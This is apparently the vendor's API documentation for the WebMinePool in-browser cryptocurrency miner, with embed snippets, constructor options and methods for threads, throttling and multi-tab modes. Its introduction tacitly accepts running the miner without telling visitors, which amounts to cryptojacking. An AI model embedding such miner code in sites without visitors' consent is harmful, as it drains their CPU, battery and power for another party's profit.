Javascript Miner

The WebMinePool JavaScript Miner can be embedded directly into your website or application. The miner itself does not come with a User Interface - it's your responsibility to tell your users what's going on and to provide stats on mined hashes. Note: shady practices are not preferable. If you are not telling your users they are mining for you, at least don't utilize 100% of their CPU's.

If you want a ready-made, easy to embed User Interface, have a look at the Miner basic UI.

You can pay users for their mining or run the miner anonymously. The miner runs until the user navigates away or will stop it (if it's allowed). You can also set the miner speed to control how powerful the miner will be and how much CPU it will utilize. You can also stop the miner after a user will get the determined amount of hashes mined.

Check our HTTP API documentation to control users' balance (hashes amount) and use token system.

Basic setup

<script src="https://www.webminepool.com/lib/base.js"></script>
<script>
    var miner = WMP.Anonymous('<your-site-key>');
    miner.start();
</script>

This is basic setup to run the miner, but as we've told we are not recommending drain user's battery and CPU, let's add some modifications.

<script src="https://www.webminepool.com/lib/base.js"></script>
<script>
    var miner = WMP.Anonymous('<your-site-key>',{throttle: 0.3});
    if (!miner.isMobile()){
        miner.start();
    }
</script>

Here we added throttle parameter with value "0.3" to let miner rest 30% of time, and prevented the script from running on mobile devices. You can add more params:

<script src="https://www.webminepool.com/lib/base.js"></script>
<script>
    var miner = WMP.User('<your-site-key>', '<username>',{
        threads: 4,
        autoThreads: false,
        throttle: 0.3,
        forceASMJS: false
    });
    miner.start();
</script>

The code above will create miner object with defined username (and you can control its stats in future via HTTP API). Also it sets up fixed amount of threads on user's CPU and disables ASMJS library forcing.

new WMP.Anonymous(siteKey [, options])

Create a new miner that is not attached to a user name.

Common use-cases include donations to your website, where users just run the miner without any direct incentives for solved hashes.

Parameters

siteKey Your public Site-Key. See Dashboard > Keys.
options An optional object which defines further settings. See Constructor Options.

new WMP.User(siteKey, userName [, options])

Create a new miner and credit all hashes to the specified user name. You can check a user's balance and withdraw hashes for a user with our HTTP API.

Common use-cases include granting in-game currency or other incentives to a user account on your website in turn for running the miner.

Please only use the WMP.User miner if you later intend to retreive the number of hashes using the HTTP API. Don't use it to store random session names that you never read back.

Parameters

siteKey Your public Site-Key. See Dashboard > Keys.
userName A unique identifier for the user account on your website. This can be a userId, an email address, the user's nick name or (if you don't want to share your user names with our service) the md5 hash or otherwise obfuscated name of the user. Max length: 128 chars, case insensitive.
options An optional object which defines further settings. See Constructor Options.

Constructor Options

The options parameter for the WMP.User and WMP.Anonymous constructors is optional. If provided, it must be an object with any number of the following properties.

threads The number of threads the miner should start with. The default is navigator.hardwareConcurrency, i.e. the number of CPU cores available on the user's computer.
throttle The fraction of time that threads should be idle. See miner.setThrottle() for a detailed explanation. The default is 0.
forceASMJS If true, the miner will always use the asm.js implementation of the hashing algorithm. If false, the miner will use the faster WebAssembly version if supported and otherwise fall back to asm.js. The default is false.

Full example, using the WMP.User miner:

var miner = new WMP.User('YOUR_SITE_KEY', 'john-doe', {
    threads: 4,
    throttle: 0.8,
    forceASMJS: false,                        
 });

.start( [mode] )

Connect to the pool and start mining. The optional mode parameter specifies how the miner should behave if a miner in another tab is already running. The default is WMP.IF_EXCLUSIVE_TAB.

Note that the mode only affects other miners on the same origin/domain. Miners on other websites can't kill yours, nor can you kill miners on other websites.

Mode

WMP.IF_EXCLUSIVE_TAB The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.
WMP.FORCE_EXCLUSIVE_TAB The miner will always start and immediately kill all miners in other tabs that have not specified WMP.FORCE_MULTI_TAB.
WMP.FORCE_MULTI_TAB The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners. This mode is used by the captcha and shortlinks.

Example

miner.start(WMP.IF_EXCLUSIVE_TAB);

.stop( )

Stop mining and disconnect from the pool.

.isRunning( )

Returns true|false whether the miner is currently running: connected to the pool and has working threads.

.isMobile( )

Returns true|false whether the user is using a phone or tablet device. You can use this to only start the miner on laptops and PCs.

Example

// Only start on non-mobile devices
if (!miner.isMobile()) {
    miner.start();
}

.hasWASMSupport( )

Returns true|false whether the Browser supports WebAssembly. If WASM is not supported, the miner will automatically use the slower asm.js version. Consider displaying a warning message to the user to update their browser.

Current browser support for WASM.

.getNumThreads( )

Returns the current number of threads. Note that this will report the configured number of threads, even if the miner is not yet started.

.setNumThreads(numThreads)

Set the desired number of threads. Min: 1. Typically you shouldn't go any higher than maybe 8 or 16 threads even if your users have all new AMD Threadripper CPUs.

Also see the threads property in the Constructor Options.

.getThrottle( )

Returns the current throttle value.

.setThrottle(throttle)

Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.8 they will stay idle 80% of the time.

Also see the throttle property in the Constructor Options.

.getHashesPerSecond( )

Returns the total number of hashes per second for all threads combined. Note that each thread typically updates this only once per second.

.getTotalHashes([interpolate])

Returns the total number of hashes this miner has solved. Note that this number is typically updated only once per second.

If interpolate is true, the miner will estimate the current number of hashes down to the millisecond. This can be useful if you want to display a fast increasing number to the user, such as in the miner on WMP's start page.

Note: this is approximate number of hashes, not of them are accepted by pool, so do not rely on this data when you are going to calculate rewards for your users. Use HTTP API to get reaal balances

Comodo SSL